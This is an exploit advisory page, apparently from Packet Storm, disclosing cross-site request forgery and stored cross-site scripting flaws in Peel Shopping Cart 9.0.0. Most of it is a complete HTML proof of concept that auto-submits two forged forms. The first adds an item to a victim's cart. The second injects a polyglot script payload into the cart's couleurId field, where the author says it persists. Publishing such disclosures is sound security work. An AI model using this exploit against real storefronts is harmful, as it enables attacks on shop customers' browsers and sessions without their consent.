Twenty Year Anniversary

Peel Shopping Cart 9.0.0 Cross Site Request Forgery / Cross Site Scripting

Peel Shopping Cart 9.0.0 Cross Site Request Forgery / Cross Site Scripting
Posted May 3, 2018
Authored by Matt Landers

Peel Shopping Cart version 9.0.0 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 0406b6209301a07d53c91a56ff676008

Peel Shopping Cart 9.0.0 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download

=================================================

Synopsis: Post XSS with dual CSRF via inproper sanitized user input.
Product: Peel Shopping Cart
Version: 9.0.0
Researcher: Matt Landers
mattjoeland@gmail.com
twitter.com/matthewjland
https://mjlanders.org/

=================================================

The following csrf/xss proof of concept demonstrates first how an item can be added to the customers cart via CSRF on https://<replace with host>/en/achat/caddie_ajout.php , and secondly
how the properties of the item in cart can be modified via CSRF to include a XSS payload that is inserted in to the <input name="couleurId[0]" value="0" type="hidden"> function within https://<replace with host>/achat/caddie_affichage.php .

I have chosen to include the CSRF that adds an item to the victims cart so that we can make sure that there is actually something in the cart to modify with the second CSRF instance.
This POC will load two tabs to show how the CSRF is implemented, the first to add an item to cart, the second to modify the item to include a XSS payload.

------POC-------------------------------------------------------------------------------------


<!aa
Peel Shopping Cart -- https://www.peel-shopping.com -- ver 9.0.0

Security Researcher: Matt Landers - twitter.com/matthewjland

Description: Peel Shopping Cart is prone to various CSRF and XSS vulnerabilities.
The csrf example below opens two tabs. The first tab adds an item to the users cart
and the second tab modifies the attributes of that item showing a Post XSS.
Also the XSS appears to be persistant as long as the modified cart item, remains in the cart.
aa>

<html>
<body>
<form id="additemcsrf" target="_blank" form action="https://xxxxxxxx.xxx/en/achat/caddie_ajout.php?prodid=10" method="POST" enctype="multipart/form-data">
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [qte] <input name="qte" value="1" /></div>
<input type="submit" value="Submit request" />
</form>

<form id="csrftoxss" target="+blank" form action="https://xxxxxxxxxx.xxx/en/achat/caddie_affichage.php" method="POST">
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [func] <input name="func" value="commande" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [id[0]] <input name="id[0]" value="10" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [listcadeaux_owner[0]] <input name="listcadeaux_owner[0]" value="" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [option[0]] <input name="option[0]" value="0" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [id_attribut[0]] <input name="id_attribut[0]" value="" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [couleurId[0]] <input name="couleurId[0]" value="0<!'/*"/*\'/*\"/*--></Script><Image SrcSet=K */; OnError=confirm`XSS` //>" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [tailleId[0]] <input name="tailleId[0]" value="0" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [email_check[0]] <input name="email_check[0]" value="" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [quantite[0]] <input name="quantite[0]" value="1" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [code_promo] <input name="code_promo" value="" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [null] <input name="null" value="undefined" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [pays_zone] <input name="pays_zone" value="1" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [type] <input name="type" value="" /></div>
<div style="display:block; width:95%; border:2px solid red; margin:10px; font-size:2em">Hidden field [null] <input name="null" value="" /></div>
<input type="submit" value="Submit request" />
</form>
<script>
document.getElementById("additemcsrf").submit();
window.setTimeout( function () { document.forms.csrftoxss.submit()}, 1000); <!aa if Item does not get added in to the cart before the second CSRF resolves, make this number higher, 2000 etc aa>
</script>
</body>
</html>

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    26 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    2 Files
  • 7
    Oct 7th
    3 Files
  • 8
    Oct 8th
    23 Files
  • 9
    Oct 9th
    16 Files
  • 10
    Oct 10th
    15 Files
  • 11
    Oct 11th
    19 Files
  • 12
    Oct 12th
    16 Files
  • 13
    Oct 13th
    2 Files
  • 14
    Oct 14th
    2 Files
  • 15
    Oct 15th
    15 Files
  • 16
    Oct 16th
    20 Files
  • 17
    Oct 17th
    19 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close